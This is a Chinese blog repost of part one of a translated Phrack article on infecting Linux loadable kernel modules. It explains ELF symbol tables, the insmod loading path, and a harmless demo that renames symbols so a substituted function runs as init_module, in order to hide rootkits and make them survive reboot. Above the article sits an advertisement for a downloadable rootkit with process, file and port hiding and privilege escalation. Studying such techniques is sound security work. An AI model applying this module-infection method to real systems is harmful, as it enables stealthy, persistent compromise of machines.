LKM 注射 一

lkm-rootkit:lkm Rootkit 支持 x8664、arm、mips lkm-rootkit an lkm rootkit support x86/64,arm,mips 支持 kernel version 2.6 及 3.x , 支持 x86, x86_64, arm, mips 平台, 支持进程隐藏、进程免杀(root 无法 kill) 支持文件隐藏、文件免杀(root 无法修改、删除) 支持tcpv4/v6端口隐藏、udpv4/v6端口隐藏 支持模块本身隐藏 支持提权 支持应用层接口下发执行功能的命令 源码主体源于国外一位大牛写的 suterusu 项目。 本人在此基础上添加了mips架构的支持,以及进程免杀、文件免杀等功能。 立即下载
内容
        1 - 介绍
        2 - ELF 基础知识
          2.1 - The .symtab section
          2.2 - The .strtab section

        3 - 玩转 loadable kernel modules
          3.1 - 模块加载
          3.2 - 修改 .strtab section
          3.3 - 插入代码
          3.4 - 保持隐蔽性

        4 - 实例
          4.1 - 最简单的 LKM 感染
          4.2 - 我还会回来的 (重启之后)

        5 - 关于其他的操作系统
          5.1 - Solaris
          5.2 - *BSD
            5.2.1 - FreeBSD
            5.2.2 - NetBSD
            5.2.3 - OpenBSD

        6 - 结论
        7 - 感谢
        8 - 参考资料
        9 - 源代码
          9.1 - ElfStrChange
          9.2 - Lkminject

--[ 1 - 介绍

  这些年来,很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流行现象吗?不是,lkm 的广泛使用得益于它强大的功能:可以隐藏文件,进程还有其他一些妙用。对于第一代使用 lkm 的 rootkits,使用lsmod命令就可以轻易的找出它们。我们见过许许多多隐藏模块的手法,比如在Plaguez的文章 [1]里提到的那种,还有更多的在Adore Rootkit [2]里面用到的技巧。几年以后,我们还看到一些新技术:通过使用
/dev/kmem [3] 修改kernel内存映射(kernel memory image)。最后,参考资料[4]向我们展示了静态内核补丁(static kernel patching)技术。这个技术解决了一个大问题:
rootkit在机器重启后可以重新加载。

(译者注:查找了一下lsmod的运作方式,供大家了解。"在kernel 2.0.x 时,指令'lsmod'是去开启档案 '/proc/modules' 来得知系统中,已加载哪些 Module。不过到了kernel 2.1.x以后,系统提供了函式' query_module'。因此,此时'lsmod'的实作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。")

  本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernelx86 2.4.x 系列,不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个技术需要一些基础知识。内核模块是ELF object 文件,我们需要了解一点ELF格式,尤其是关于符号命名部分的知识。此后,我们会接着学习模块加载机制以便了解如何把恶意代码插入内核模块中。最后,实战操作一下模块的插入。

--[ 2 - ELF 基础

  Executable(可执行) & Linking(链接) Format (ELF) 是用于linux操作系统上的可执行文件格式。我们先要了解部分相关知识,以后用得着(如果想要全面了解ELF格式,请参考[1])。 当链接两个ELF object 文件的时候,链接程序需要知道每个object文件里相关符号的一些情况。每个ELF object文件(比如lkm的那些object文件)包含了两个部分(译者注:就是后文的 .symtab 和 .strtab 两个section )。这两个section 是用来存储每个符号的信息结构的。我们不但要研究它们,还要总结出一些对感染内核模块有用的思路。

----[ 2.1 - .symtab section

  这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时,就需要这些数据。在/usr/include/elf.h里可以找到这个结构的定义:

/* Symbol table entry. */(符号列表入口)

typedef struct
{
  Elf32_Word    st_name;    /* Symbol name (string tbl index) */(符号名(字符串列表索引))
  Elf32_Addr    st_value;    /* Symbol value */(符号的值)
  Elf32_Word    st_size;    /* Symbol size */(符号数据占用空间的大小)
  unsigned char    st_info;    /* Symbol type and binding */(符号类型和绑定)
  unsigned char    st_other;    /* Symbol visibility */(符号的可见性)
  Elf32_Section    st_shndx;    /* Section index */(各section 的索引)
} Elf32_Sym;

这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引,而那些符号的名称就是存储在 .strtab 里面的。


----[ 2.2 - .strtab section

  .strtab section 是一个非空字符串的列表。正如我们上面看见的,Elf32_Sym里面的st_name是 .strtab section 的索引。如果我们寻找的符号在某个字符串里,我们可以很方便的得到这个字符串的偏移地址。下面是我们的计算公式:

  offset_sym_name = offset_strtab + st_name

  offset_strtab 是 .strtab section 相对于文件起始处的偏移地址,可以通过section 名称解析机制获得。这和我们要谈的技术关系不是很大,这里就不深究了。参考资料[5]里面详细探讨了这个问题,后面章节9.1给出了具体实现的代码。

  现在可以说,在ELF object 文件里,我们可以很方便的找到符号名并修改它们。不过修改过程中始终要牢记一点:.strtab section 是由连续的非空字符串组成的,这对修改后新的符号名是一个限制:新名称的长度不能超过原来的那个长度,否则会殃及 .strtab 中下一个符号。(译者注:这里和溢出的道理一样,新名称长度超过原先设定值,多出的部分就会写到后面一个符号名区域里,覆盖后面有用的部分)

  遵守了这一点,我们就能做到简单的修改符号名而不影响模块的正常运行,最终实现用一个模块感染另一个模块。


--[ 3 - 玩转 loadable kernel modules

  下面这段给出了动态加载模块程序的源代码。了解了这个,我们就能学会在模块中插入代
码了。

----[ 3.1 - 模块加载

  内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。
我们感兴趣的东西是insmod.c文件里的init_module()函数。

static int init_module(const char *m_name, struct obj_file *f,
        unsigned long m_size, const char *blob_name,
        unsigned int noload, unsigned int flag_load_map)
{
(1)     struct module *module;
        struct obj_section *sec;
        void *image;
        int ret = 0;
        tgt_long m_addr;

        ....

(2)     module->init = obj_symbol_final_value(f,
                obj_find_symbol(f, "init_module"));
(3)     module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));

        ....

        if (ret == 0 && !noload) {
                fflush(stdout);         /* Flush any debugging output */
(4)             ret = sys_init_module(m_name, (struct module *) image);
                if (ret) {
                        error("init_module: %m");
                        lprintf(
      "Hint: insmod errors can be caused by incorrect module parameters, "
      "including invalid IO or IRQ parameters./n"
      "You may find more information in syslog or the output from dmesg");
                }
        }

  在 (1) 里,函数向一个结构体模块(struct module)填充了加载模块必须的数据。需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针,分别指向被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol()函数遍历符号列表查找名字为init_module的符号,然后提取这个结构体符号(structsymbol)并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出init_module函数的地址。同理,在 (3) 里这个工作对于cleanup_module()又重复了一遍。需要牢记的是,对于模块初始化或结束时调用的函数,他们在 .strtab section 的入口分别对应着 init_module 和 cleanup_module。

  当结构体模块填充完毕后,(4) 使用了 sys_init_module() 这个系统调用(syscall)通知内核加载相应模块。

  模块加载过程中程序调用了 sys_init_module(),其中有我们感兴趣的部分。这个函数的代码可以在 /usr/src/linux/kernel/module.c 里找到:

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
        struct module mod_tmp, *mod;
        char *name, *n_name, *name_tmp = NULL;
        long namelen, n_namelen, i, error;
        unsigned long mod_user_size;
        struct module_ref *dep;

        /* 很多sanity checks */
        .....
        /* 好了,上面是我们可以忍受的所有的sanity checks;剩下的拷贝如下。*/

(1)     if (copy_from_user((char *)mod+mod_user_size,
                           (char *)mod_user+mod_user_size,
                           mod->size-mod_user_size)) {
                error = -EFAULT;
                goto err3;
        }

        /* 其他的sanity checks */

        ....

        /* 初始化模块  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
(2)     if (mod->init && (error = mod->init()) != 0) {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);

  在一些sanity check之后,结构体模块被 (1) 里的copy_from_user()从用户空间拷贝到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。


----[ 3.2 - 修改 .strtab section

  前面已经提到了,通过检查 .strtab section 里的字符串,我们可以定位模块中init函数的地址。而通过修改这个字符串,我们可以在模块被加载的时候执行其他的函数。

  修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们后面要用到的 -r 参数(章节3.3)不兼容。在章节5.1里,我们会看到如何用xxd完成这个工作。我写了一个工具(章节9.1)自动执行这些。

下面是一个简单的例子:

$ cat test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()/n");
  return 0;
}

int evil_module(void)
{
  printk ("<1> Into evil_module()/n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()/n");
  return 0;
}

$ cc -O2 -c test.c

  让我们看看 .symtab 和 .strtab 这两个section:

$ objdump -t test.o

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    O  .modinfo  0000000000000016 __module_
kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g    F  .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g    F  .text  0000000000000014 evil_module
0000000000000028 g    F  .text  0000000000000014 cleanup_module

  我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。首先必须把 init_module 这个符号重命名。在同一个ELF object文件里,两个性质相同的符号名字不能重复。下面是操作过程:

        重命名
1)  init_module  ---->  dumm_module
2)  evil_module  ---->  init_module


$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module

$ objdump -t test.o

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    O  .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g    F  .text  0000000000000014 dumm_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g    F  .text  0000000000000014 init_module
0000000000000028 g    F  .text  0000000000000014 cleanup_module


# insmod test.o
# tail -n 1 /var/log/kernel
May  4 22:46:55 accelerator kernel:  Into evil_module()

  正如我们看到的,evil_module() 被当作 init_module() 调用了。
架构——异地多活成熟的架构模式 摘要: 本文系统介绍了三种异地多活架构模式:业务定制型、业务通用型和存储通用型。业务定制型针对核心业务定制化设计,复杂度低但扩展性差;业务通用型通过统一配套服务(流量调度、配置中心等)实现多业务兼容,适合业务量大但一致性要求不高的场景;存储通用型依托分布式一致性数据库(如OceanBase、TiDB)天然支持强一致性,适合金融等高要求场景,但对部署距离和成本有较高限制。文章对比了各模式的优缺点及适用场景,为不同业务需求下的架构选型提供了实践指导。 阅读详情

相关推荐

Kill5.37版本下,使用ARMcomplier6编译__asm 函数报错的问题

Kill5-5.37版本下,使用ARMcomplier6编译__asm 函数报错的问题 问题简要描述: 昨日更新了keil5软件的版本,从5.17更新到了5.37版本,然后编译STM32项目文件时,软件提示编译报错。报错问题如下: Build started: Project: QKsoftware *** Using Compiler 'V6.18', folder: 'E:\MDK-ARM\ARM\ARM\ARMCLANG\Bin' Build target 'QKsoftware' compiling

weixin_43644424的博客 1万+

slam打脸入门知识

还是说视觉slam吧。 先说视觉这块,首先射影几何的一些内容相机模型,单视几何,双视几何和多视几何。这些内容可以在Multiple View Geometry in Computer Vision这本书中找到。英文版的,另外中科院的吴福朝编著的“计算机视觉中的数学方法”也很好,涵盖了上述了MVG in CV book中的大部分内容,强烈安利。 然后是一些视觉特征,这方面就是一些特征,描

天才樱木 4968

[图解]SysML与EA实战:住宅安全系统接口块设计全解析

本文详细解析了使用SysML和EA工具进行住宅安全系统接口块设计的全流程。从系统上下文图入门到接口块实战技巧,涵盖块定义图与内部块图的视角转换,以及多图协同建模方法论。特别分享EA工具的高效操作指南和常见问题避坑建议,帮助工程师掌握精确信号定义、端口方向设置等关键技能,提升安防系统设计效率。

weixin_29234509的博客 334

到底SLAM是什么,又有哪些好处?

前两天AI君的一个朋友跑来找我,说他最近想买个扫地机器人,看到很多高端品牌的产品介绍里都会提到一个名词,SLAM。 (图片来自 戴森360eye售价6440) (图片来自irobot960售价4999) 而且他还发现,提到SLAM的扫地机器人都会比一般的贵,有些还能边扫边通过App生成地图。 所以到底SLAM是什么,又有哪些好处?今天就给大家简单科普一下。 SLAM的起...

qq_24624539的博客 6535

《Python全栈系列教程》专栏介绍及文章汇总

《Python全栈系列教程》专栏介绍及文章汇总

孤寒者的博客 71万+

泰凌微8258入门教程 环境篇④——开发板+烧录器 8258mesh新手套件购买

工欲善其事,必先利其器。 淘宝链接:https://item.taobao.com/item.htm?

4130

Linux可加载内核模块(LKM)

I.基础知识 1.什么是LKM  2.什么是系统调用 3.什么是内核符号表 4.如何进行内核与用户空间内存数据的交换 5.使用用户空间的各种函数方法 6.常用内核空间函数列表 7.什么是内核后台进程 8.创建自己的设备 II.深入探讨 1.如何截获系统调用 2.哪些系统调用应被截获 2.1 寻找重要的系统调用(strace命令方法) 3.迷惑内核系统表 4.针对文件系统

zhaqiwen的专栏 9870

深度学习实战87-高中数学自适应测试系统研究与应用研发,前后台页面设计

大家好,我是微学AI ,今天给大家介绍一下深度学习实战87-高中数学自适应测试系统研究与应用研发,前后台页面设计。高中数学自适应测试系统旨在通过精准评估学生能力,用最少的题目发现其薄弱环节,并提供定制化的学习计划,帮助学生快速提升成绩。同时,系统结合了AI大模型实现自动判卷、生成报告,减轻教师负担,并支持个性化作业布置,使教学更加高效。学生可以清晰了解自身学习状态,教师也能获得精准的学生画像,实现差异化教学。

微学AI的博客 446

LKM 注射

==Phrack Inc.==              Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f|=----------------=[ Infecting loadable kernel modules ]=----------------=||=--------------------------------------------------

陈巍@人生态度 1594

Kappa函数:测量一致性并计算置信区间的R语言包

Kappa函数是一种常用的统计量,用于衡量两个评估者之间的一致性。在R语言中,有一个名为"vcd"的包提供了计算Kappa函数以及相应的置信区间的功能。本文将介绍如何使用"vcd"包来计算Kappa函数的值,并进一步计算置信区间。Kappa函数的值介于-1和1之间,值越接近1表示评估者之间的一致性越高,值越接近-1表示评估者之间的一致性越低,值接近0表示评估者之间的一致性接近于随机。通过以上步骤,我们成功地使用R语言中的"vcd"包计算了Kappa函数的值和置信区间。接下来,我们可以使用"vcd"包中的。

2301_79331230的博客 1877

[ vulhub漏洞复现篇 ] Django SQL注入漏洞复现 CVE-2021-35042

[ vulhub漏洞复现篇 ] Django SQL注入漏洞复现 CVE-2021-35042 Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

qq_51577576的博客 3229

Linux Rootkit 系列一:LKM的基础编写及隐藏

对于这个系列文章,我的规划如下:这一系列文章的重点集中在介绍linuxrootkit中最讨论最多也是最受欢迎的一种:loadablekernelmodulerootkit(LKMrootkit)。 首先介绍最基础的lkm模块的编写与加载以及如何让lsmod命令无法发现我们的模块(也就是本文的内容),然后是介绍lkmrootkit中最重要的技术,系统调用挂钩,我将会给大家介绍三种不同的...

whatday的专栏 4214

使用Python,OpenCV查找图像中的最亮点

这篇博客展示了,为什么在图像中找到最亮的点之前应用高斯模糊是至关重要的。 通过应用高斯模糊,可以将每个给定半径内的像素平均在一起。取平均值可以去除高频噪声,否则会影响cv2.minMaxLoc函数的结果。 一定要研究高斯模糊半径的恰当值。如果取值太小,将会减轻平均值的影响,而忽略了更大、更亮的区域。但是如果半径太大,将无法探测到小的明亮区域。

qq_40985985的博客 3810

Linux可加载内核模块(LKM)(转载)

转载:漏天剑文章导航: 为校长杯流尽最后一滴血, Lkm注射, 返回首页 Linux可加载内核模块(LKM)Linux可加载内核模块完全版--黑客、病毒程序编写者和系统管理员的概念性指南作者:pragmatic/THC版本:1.0发布时间:03/1999/译者:spark.bbs@bbs.nankai.edu.cn I.基础知识1.什么是LK

robinshaw的专栏 5887

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

LKM 注射 三

下面这部分是要插入的代码:$ cat evil_lkm.c#include #include #include #include #include #include int    gentil_lkmentry(struct lkm_table *, int, int);intinject_entry(struct lkm_table *lkmt, int cmd, int ver){    sw

1242

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

Loadable Kernel Modules 注射

LKM 注射 --[ 内容 1 - 介绍 2 - ELF 基础知识 2.1 - The .symtab section 2.2 - The .strtab section 3 - 玩转 loadable kernel modules 3.1 - 模块加载 3.2 - 修改 .strtab section 3.3 - 插入代码 3.4 - 保持隐蔽性 4 - 实例 4.1 - 最简单的 LKM 感染

hanwei_1049的专栏 662

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

LKM 注射 二

----[ 3.3 - 插入代码  不断发展的技术使得替换函数并且执行变成了可能,不过这还不是特别有趣。如果我们能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点--使用ld 这个法宝。$ cat original.c#define MODULE#define __KERNEL__#include #include int init_module(void){  print

1253

Rootkit技术的主要原理

rootkit的主要分类: 应用级->内核级->硬件级 早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或修改.rhosts等系统配置文件等实现隐藏及后门;硬件级rootkit主要指bios rootkit,可以在系统加载前获得控制权,通过向磁盘中写入文件,再由引导程序加载该文件重新获得控制权,也可以采用

lucien的博客 1102

Rootkit基础(1)

1. rootkit的主要分类: 应用级->内核级->硬件级 早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或修 改.rhosts等系统配置文件等实现隐藏及后门;硬件级rootkit主要指bios rootkit,可以在系统加载前获得控制权,通过向磁盘中写入 文件,再由引导程序加载该文件重新获得控制权,也可

软件调试的变革 1348

Linux下的RootKit简单介绍与分析

个人工作之余的实践总结,简单地把RootKit分为用户态rootkit和内核级rootkit。内核级rootkit可分基于LKM 的rootkit(又细分为系统调用表修改类以及VFS层rootkit等)和非LKM的rootkit(如系统调用表重定向等)。Linux下还有BIOS、PCI、Boot(NTLDR、BCD,Grub)等更新颖技术的rootkit...

weixin_34297704的博客 383

加载内核模块

Tim所著文章http://www.ibm.com/developerworks/cn/linux/l-lkm/index.htmlLinux 可加载内核模块剖析insmod-->init_module-->sys_init_modulermmod-->delete_module-->sys_delete_module 在模块的加载和卸载期间,模块子系统维护了一组简单的状...

weixin_33738578的博客 140

Rootkit技术的主要原理及防护

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34167043的博客 578
上一篇: linux后门系列之adore-ng
下一篇: LKM 注射 二
iiprogram
博客等级 码龄25年 0粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值